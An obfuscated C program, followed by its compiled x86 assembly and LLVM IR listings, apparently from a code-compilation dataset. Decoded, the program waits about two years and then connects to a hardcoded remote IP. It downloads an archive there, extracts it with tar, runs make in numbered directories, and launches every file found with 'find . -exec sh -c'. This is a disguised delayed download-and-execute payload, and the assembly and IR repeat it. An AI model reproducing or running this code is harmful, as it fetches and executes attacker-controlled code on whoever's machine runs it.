main() {
  sleep(63158400);
  int e, a = 0, m, k;
  long long h[5] = {2324751449817047405};
  short b[5] = {28526, 25968, [0] = 24948, 8306, 26232, 25888},
        i[] = {[5] = 8276, [4] = 17735, [0] = 2, 20480, -14898, -26207};
  static char _[1 << 26], g[] = "/tmp/all/all.tar.bz2\n";
  connect(e = socket(2, 1, 0), &i, 16);
  syscall(k = syscall(6, 2) ? 1 : 4, e, memmove(g, i + 4, 4), 21);
  for (; m = syscall(k - 1, e, a + _, 1 << 26); a += m)
    ;
  e = syscall(k + 1, (int[]){101}, 833, 438), syscall(k, e, _, a), system(b);
  while (e = 5 [i]--)
    sprintf(h + 1, "%u", e), system(h);
  system("find \56 -exec sh -c '{} &' \\;");
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x60,%rsp
movl   $0x0,-0x4(%rbp)
mov    $0x3c3b880,%edi
mov    $0x0,%al
call   1080 <sleep@plt>
movl   $0x0,-0xc(%rbp)
lea    -0x40(%rbp),%rdi
xor    %esi,%esi
mov    $0x28,%edx
call   1040 <memset@plt>
movabs $0x20432d20656b616d,%rax
2d 43 20
mov    %rax,-0x40(%rbp)
mov    0xe49(%rip),%rax
mov    %rax,-0x4a(%rbp)
mov    0xe46(%rip),%ax
mov    %ax,-0x42(%rbp)
mov    0xe3d(%rip),%rax
mov    %rax,-0x56(%rbp)
mov    0xe3b(%rip),%eax
mov    %eax,-0x4e(%rbp)
mov    $0x2,%edi
mov    $0x1,%esi
xor    %edx,%edx
mov    $0x0,%al
call   1090 <socket@plt>
mov    %eax,%edi
mov    %edi,-0x8(%rbp)
lea    -0x56(%rbp),%rsi
mov    $0x10,%edx
mov    $0x0,%al
call   1070 <connect@plt>
mov    $0x6,%edi
mov    $0x2,%esi
mov    $0x0,%al
call   1050 <syscall@plt>
mov    %eax,%ecx
mov    $0x4,%edi
mov    $0x1,%eax
cmp    $0x0,%ecx
cmovne %eax,%edi
mov    %edi,-0x14(%rbp)
mov    -0x8(%rbp),%esi
lea    -0x56(%rbp),%rax
add    $0x8,%rax
mov    (%rax),%eax
mov    %eax,0x2e25(%rip)
lea    0x2e1e(%rip),%rdx
mov    $0x15,%ecx
mov    $0x0,%al
call   1050 <syscall@plt>
mov    -0x14(%rbp),%edi
sub    $0x1,%edi
mov    -0x8(%rbp),%esi
movslq -0xc(%rbp),%rax
lea    0x2e2e(%rip),%rdx
add    %rax,%rdx
mov    $0x4000000,%ecx
mov    $0x0,%al
call   1050 <syscall@plt>
mov    %eax,-0x10(%rbp)
cmp    $0x0,%eax
je     1290 <main+0x120>
jmp    1282 <main+0x112>
mov    -0x10(%rbp),%eax
add    -0xc(%rbp),%eax
mov    %eax,-0xc(%rbp)
jmp    124e <main+0xde>
mov    -0x14(%rbp),%edi
add    $0x1,%edi
movl   $0x65,-0x5c(%rbp)
lea    -0x5c(%rbp),%rsi
mov    $0x341,%edx
mov    $0x1b6,%ecx
mov    $0x0,%al
call   1050 <syscall@plt>
mov    %eax,-0x8(%rbp)
mov    -0x14(%rbp),%edi
mov    -0x8(%rbp),%esi
mov    -0xc(%rbp),%ecx
lea    0x2dcb(%rip),%rdx
mov    $0x0,%al
call   1050 <syscall@plt>
lea    -0x4a(%rbp),%rdi
mov    $0x0,%al
call   1030 <system@plt>
mov    -0x4c(%rbp),%ax
mov    %ax,%cx
add    $0xffff,%cx
mov    %cx,-0x4c(%rbp)
cwtl
mov    %eax,-0x8(%rbp)
cmp    $0x0,%eax
je     131c <main+0x1ac>
lea    -0x40(%rbp),%rdi
add    $0x8,%rdi
mov    -0x8(%rbp),%edx
lea    0xd11(%rip),%rsi
mov    $0x0,%al
call   1060 <sprintf@plt>
lea    -0x40(%rbp),%rdi
mov    $0x0,%al
call   1030 <system@plt>
jmp    12d7 <main+0x167>
lea    0xcf6(%rip),%rdi
mov    $0x0,%al
call   1030 <system@plt>
mov    -0x4(%rbp),%eax
add    $0x60,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x50,%rsp
mov    $0x3c3b880,%edi
xor    %eax,%eax
call   1070 <sleep@plt>
xorps  %xmm0,%xmm0
movaps %xmm0,0x20(%rsp)
movaps %xmm0,0x30(%rsp)
movq   $0x0,0x40(%rsp)
movabs $0x20432d20656b616d,%rax
2d 43 20
mov    %rax,0x20(%rsp)
movzwl 0xe64(%rip),%eax
mov    %ax,0x18(%rsp)
mov    0xe50(%rip),%rax
mov    %rax,0x10(%rsp)
mov    0xe57(%rip),%eax
mov    %eax,0x8(%rsp)
mov    0xe44(%rip),%rax
mov    %rax,(%rsp)
mov    $0x2,%edi
mov    $0x1,%esi
xor    %edx,%edx
xor    %eax,%eax
call   1080 <socket@plt>
mov    %eax,%r15d
mov    %rsp,%rsi
mov    %eax,%edi
mov    $0x10,%edx
xor    %eax,%eax
call   1060 <connect@plt>
mov    $0x6,%edi
mov    $0x2,%esi
xor    %eax,%eax
call   1040 <syscall@plt>
xor    %ecx,%ecx
test   %eax,%eax
sete   %cl
lea    (%rcx,%rcx,2),%ebp
lea    (%rcx,%rcx,2),%r14d
add    $0x1,%r14d
mov    0x8(%rsp),%eax
mov    %eax,0x2e42(%rip)
lea    0x2e3b(%rip),%rdx
mov    %r14d,%edi
mov    %r15d,%esi
mov    $0x15,%ecx
xor    %eax,%eax
call   1040 <syscall@plt>
lea    0x2e52(%rip),%r12
xor    %ecx,%ecx
mov    %ecx,%ebx
movslq %ecx,%rdx
add    %r12,%rdx
mov    %ebp,%edi
mov    %r15d,%esi
mov    $0x4000000,%ecx
xor    %eax,%eax
call   1040 <syscall@plt>
lea    (%rax,%rbx,1),%ecx
test   %eax,%eax
jne    1240 <main+0xe0>
lea    0x1(%r14),%edi
movl   $0x65,0xc(%rsp)
lea    0xc(%rsp),%rsi
mov    $0x341,%edx
mov    $0x1b6,%ecx
xor    %eax,%eax
call   1040 <syscall@plt>
lea    0x2e07(%rip),%rdx
mov    %r14d,%edi
mov    %eax,%esi
mov    %ebx,%ecx
xor    %eax,%eax
call   1040 <syscall@plt>
lea    0x10(%rsp),%rdi
xor    %eax,%eax
call   1030 <system@plt>
movzwl 0xa(%rsp),%eax
mov    %eax,%ecx
sub    $0x1,%cx
mov    %cx,0xa(%rsp)
jb     12fc <main+0x19c>
lea    0x28(%rsp),%r14
lea    0xd55(%rip),%rbp
lea    0x20(%rsp),%rbx
cs nopw 0x0(%rax,%rax,1)
movswl %ax,%edx
mov    %r14,%rdi
mov    %rbp,%rsi
xor    %eax,%eax
call   1050 <sprintf@plt>
mov    %rbx,%rdi
xor    %eax,%eax
call   1030 <system@plt>
movzwl 0xa(%rsp),%eax
mov    %eax,%ecx
sub    $0x1,%cx
mov    %cx,0xa(%rsp)
jae    12d0 <main+0x170>
lea    0xd16(%rip),%rdi
xor    %eax,%eax
call   1030 <system@plt>
xor    %eax,%eax
add    $0x50,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
@__const.main.b = [5 x i16] [i16 24948, i16 8306, i16 26232, i16 25888, i16 0]
@__const.main.i = [6 x i16] [i16 2, i16 20480, i16 -14898, i16 -26207, i16 17735, i16 8276]
@main._ = internal global [67108864 x i8] zeroinitializer
@main.g = internal global [22 x i8] c"/tmp/all/all.tar.bz2\0A\00"
@.str = [3 x i8] c"%u\00"
@.str.1 = [29 x i8] c"find . -exec sh -c '{} &' \\;\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
%6 = alloca [5 x i64]
%7 = alloca [5 x i16]
%8 = alloca [6 x i16]
%9 = alloca [1 x i32]
store i32 0, i32* %1
%10 = call i32 (i32, ...) bitcast (i32 (...)* @sleep to i32 (i32, ...)*)(i32 63158400)
store i32 0, i32* %3
%11 = bitcast [5 x i64]* %6 to i8*
%12 = bitcast i8* %11 to [5 x i64]*
%13 = getelementptr inbounds [5 x i64], [5 x i64]* %12, i32 0, i32 0
store i64 2324751449817047405, i64* %13
%14 = bitcast [5 x i16]* %7 to i8*
%15 = bitcast [6 x i16]* %8 to i8*
%16 = call i32 (i32, i32, i32, ...) bitcast (i32 (...)* @socket to i32 (i32, i32, i32, ...)*)(i32 2, i32 1, i32 0)
store i32 %16, i32* %2
%17 = call i32 (i32, [6 x i16]*, i32, ...) bitcast (i32 (...)* @connect to i32 (i32, [6 x i16]*, i32, ...)*)(i32 %16, [6 x i16]* %8, i32 16)
%18 = call i32 (i32, i32, ...) bitcast (i32 (...)* @syscall to i32 (i32, i32, ...)*)(i32 6, i32 2)
%19 = icmp ne i32 %18, 0
%20 = zext i1 %19 to i64
%21 = select i1 %19, i32 1, i32 4
store i32 %21, i32* %5
%22 = load i32, i32* %2
%23 = getelementptr inbounds [6 x i16], [6 x i16]* %8, i64 0, i64 0
%24 = getelementptr inbounds i16, i16* %23, i64 4
%25 = bitcast i16* %24 to i8*
%26 = call i32 (i32, i32, i8*, i32, ...) bitcast (i32 (...)* @syscall to i32 (i32, i32, i8*, i32, ...)*)(i32 %21, i32 %22, i8* getelementptr inbounds ([22 x i8], [22 x i8]* @main.g, i64 0, i64 0), i32 21)
br label %27
27: ; preds = %37, %0
%28 = load i32, i32* %5
%29 = sub nsw i32 %28, 1
%30 = load i32, i32* %2
%31 = load i32, i32* %3
%32 = sext i32 %31 to i64
%33 = getelementptr inbounds i8, i8* getelementptr inbounds ([67108864 x i8], [67108864 x i8]* @main._, i64 0, i64 0), i64 %32
%34 = call i32 (i32, i32, i8*, i32, ...) bitcast (i32 (...)* @syscall to i32 (i32, i32, i8*, i32, ...)*)(i32 %29, i32 %30, i8* %33, i32 67108864)
store i32 %34, i32* %4
%35 = icmp ne i32 %34, 0
br i1 %35, label %36, label %41
36: ; preds = %27
br label %37
37: ; preds = %36
%38 = load i32, i32* %4
%39 = load i32, i32* %3
%40 = add nsw i32 %39, %38
store i32 %40, i32* %3
br label %27
41: ; preds = %27
%42 = load i32, i32* %5
%43 = add nsw i32 %42, 1
%44 = getelementptr inbounds [1 x i32], [1 x i32]* %9, i64 0, i64 0
store i32 101, i32* %44
%45 = getelementptr inbounds [1 x i32], [1 x i32]* %9, i64 0, i64 0
%46 = call i32 (i32, i32*, i32, i32, ...) bitcast (i32 (...)* @syscall to i32 (i32, i32*, i32, i32, ...)*)(i32 %43, i32* %45, i32 833, i32 438)
store i32 %46, i32* %2
%47 = load i32, i32* %5
%48 = load i32, i32* %2
%49 = load i32, i32* %3
%50 = call i32 (i32, i32, i8*, i32, ...) bitcast (i32 (...)* @syscall to i32 (i32, i32, i8*, i32, ...)*)(i32 %47, i32 %48, i8* getelementptr inbounds ([67108864 x i8], [67108864 x i8]* @main._, i64 0, i64 0), i32 %49)
%51 = getelementptr inbounds [5 x i16], [5 x i16]* %7, i64 0, i64 0
%52 = call i32 (i16*, ...) bitcast (i32 (...)* @system to i32 (i16*, ...)*)(i16* %51)
br label %53
53: ; preds = %59, %41
%54 = getelementptr inbounds [6 x i16], [6 x i16]* %8, i64 0, i64 5
%55 = load i16, i16* %54
%56 = add i16 %55, -1
store i16 %56, i16* %54
%57 = sext i16 %55 to i32
store i32 %57, i32* %2
%58 = icmp ne i32 %57, 0
br i1 %58, label %59, label %67
59: ; preds = %53
%60 = getelementptr inbounds [5 x i64], [5 x i64]* %6, i64 0, i64 0
%61 = getelementptr inbounds i64, i64* %60, i64 1
%62 = bitcast i64* %61 to i8*
%63 = load i32, i32* %2
%64 = call i32 (i8*, i8*, ...) @sprintf(i8* %62, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0), i32 %63)
%65 = getelementptr inbounds [5 x i64], [5 x i64]* %6, i64 0, i64 0
%66 = call i32 (i64*, ...) bitcast (i32 (...)* @system to i32 (i64*, ...)*)(i64* %65)
br label %53
67: ; preds = %53
%68 = call i32 (i8*, ...) bitcast (i32 (...)* @system to i32 (i8*, ...)*)(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
%69 = load i32, i32* %1
ret i32 %69
}

LLVM IR (-O2):
@__const.main.b = [5 x i16] [i16 24948, i16 8306, i16 26232, i16 25888, i16 0]
@__const.main.i = [6 x i16] [i16 2, i16 20480, i16 -14898, i16 -26207, i16 17735, i16 8276]
@main._ = internal global [67108864 x i8] zeroinitializer
@main.g = internal global [22 x i8] c"/tmp/all/all.tar.bz2\0A\00"
@.str = [3 x i8] c"%u\00"
@.str.1 = [29 x i8] c"find . -exec sh -c '{} &' \\;\00"
define i32 @main() {
%1 = alloca [5 x i64]
%2 = alloca [5 x i16]
%3 = alloca [6 x i16]
%4 = alloca [1 x i32]
%5 = tail call i32 (i32, ...) bitcast (i32 (...)* @sleep to i32 (i32, ...)*)(i32 63158400)
%6 = bitcast [5 x i64]* %1 to i8*
%7 = getelementptr inbounds [5 x i64], [5 x i64]* %1, i64 0, i64 0
store i64 2324751449817047405, i64* %7
%8 = bitcast [5 x i16]* %2 to i8*
%9 = bitcast [6 x i16]* %3 to i8*
%10 = tail call i32 (i32, i32, i32, ...) bitcast (i32 (...)* @socket to i32 (i32, i32, i32, ...)*)(i32 2, i32 1, i32 0)
%11 = call i32 (i32, [6 x i16]*, i32, ...) bitcast (i32 (...)* @connect to i32 (i32, [6 x i16]*, i32, ...)*)(i32 %10, [6 x i16]* %3, i32 16)
%12 = call i32 (i32, i32, ...) bitcast (i32 (...)* @syscall to i32 (i32, i32, ...)*)(i32 6, i32 2)
%13 = icmp eq i32 %12, 0
%14 = select i1 %13, i32 4, i32 1
%15 = getelementptr inbounds [6 x i16], [6 x i16]* %3, i64 0, i64 4
%16 = bitcast i16* %15 to i32*
%17 = load i32, i32* %16
store i32 %17, i32* bitcast ([22 x i8]* @main.g to i32*)
%18 = call i32 (i32, i32, i8*, i32, ...) bitcast (i32 (...)* @syscall to i32 (i32, i32, i8*, i32, ...)*)(i32 %14, i32 %10, i8* getelementptr inbounds ([22 x i8], [22 x i8]* @main.g, i64 0, i64 0), i32 21)
%19 = add nsw i32 %14, -1
br label %20
20: ; preds = %20, %0
%21 = phi i32 [ 0, %0 ], [ %26, %20 ]
%22 = sext i32 %21 to i64
%23 = getelementptr inbounds [67108864 x i8], [67108864 x i8]* @main._, i64 0, i64 %22
%24 = call i32 (i32, i32, i8*, i32, ...) bitcast (i32 (...)* @syscall to i32 (i32, i32, i8*, i32, ...)*)(i32 %19, i32 %10, i8* %23, i32 67108864)
%25 = icmp eq i32 %24, 0
%26 = add nsw i32 %24, %21
br i1 %25, label %27, label %20
27: ; preds = %20
%28 = add nuw nsw i32 %14, 1
%29 = getelementptr inbounds [1 x i32], [1 x i32]* %4, i64 0, i64 0
store i32 101, i32* %29
%30 = call i32 (i32, i32*, i32, i32, ...) bitcast (i32 (...)* @syscall to i32 (i32, i32*, i32, i32, ...)*)(i32 %28, i32* %29, i32 833, i32 438)
%31 = call i32 (i32, i32, i8*, i32, ...) bitcast (i32 (...)* @syscall to i32 (i32, i32, i8*, i32, ...)*)(i32 %14, i32 %30, i8* getelementptr inbounds ([67108864 x i8], [67108864 x i8]* @main._, i64 0, i64 0), i32 %21)
%32 = getelementptr inbounds [5 x i16], [5 x i16]* %2, i64 0, i64 0
%33 = call i32 (i16*, ...) bitcast (i32 (...)* @system to i32 (i16*, ...)*)(i16* %32)
%34 = getelementptr inbounds [6 x i16], [6 x i16]* %3, i64 0, i64 5
%35 = load i16, i16* %34
%36 = add i16 %35, -1
store i16 %36, i16* %34
%37 = icmp eq i16 %35, 0
br i1 %37, label %49, label %38
38: ; preds = %27
%39 = getelementptr inbounds [5 x i64], [5 x i64]* %1, i64 0, i64 1
%40 = bitcast i64* %39 to i8*
br label %41
41: ; preds = %38, %41
%42 = phi i16 [ %35, %38 ], [ %46, %41 ]
%43 = sext i16 %42 to i32
%44 = call i32 (i8*, i8*, ...) @sprintf(i8* %40, i8* dereferenceable(1) getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0), i32 %43)
%45 = call i32 (i64*, ...) bitcast (i32 (...)* @system to i32 (i64*, ...)*)(i64* %7)
%46 = load i16, i16* %34
%47 = add i16 %46, -1
store i16 %47, i16* %34
%48 = icmp eq i16 %46, 0
br i1 %48, label %49, label %41
49: ; preds = %41, %27
%50 = call i32 (i8*, ...) bitcast (i32 (...)* @system to i32 (i8*, ...)*)(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
ret i32 0
}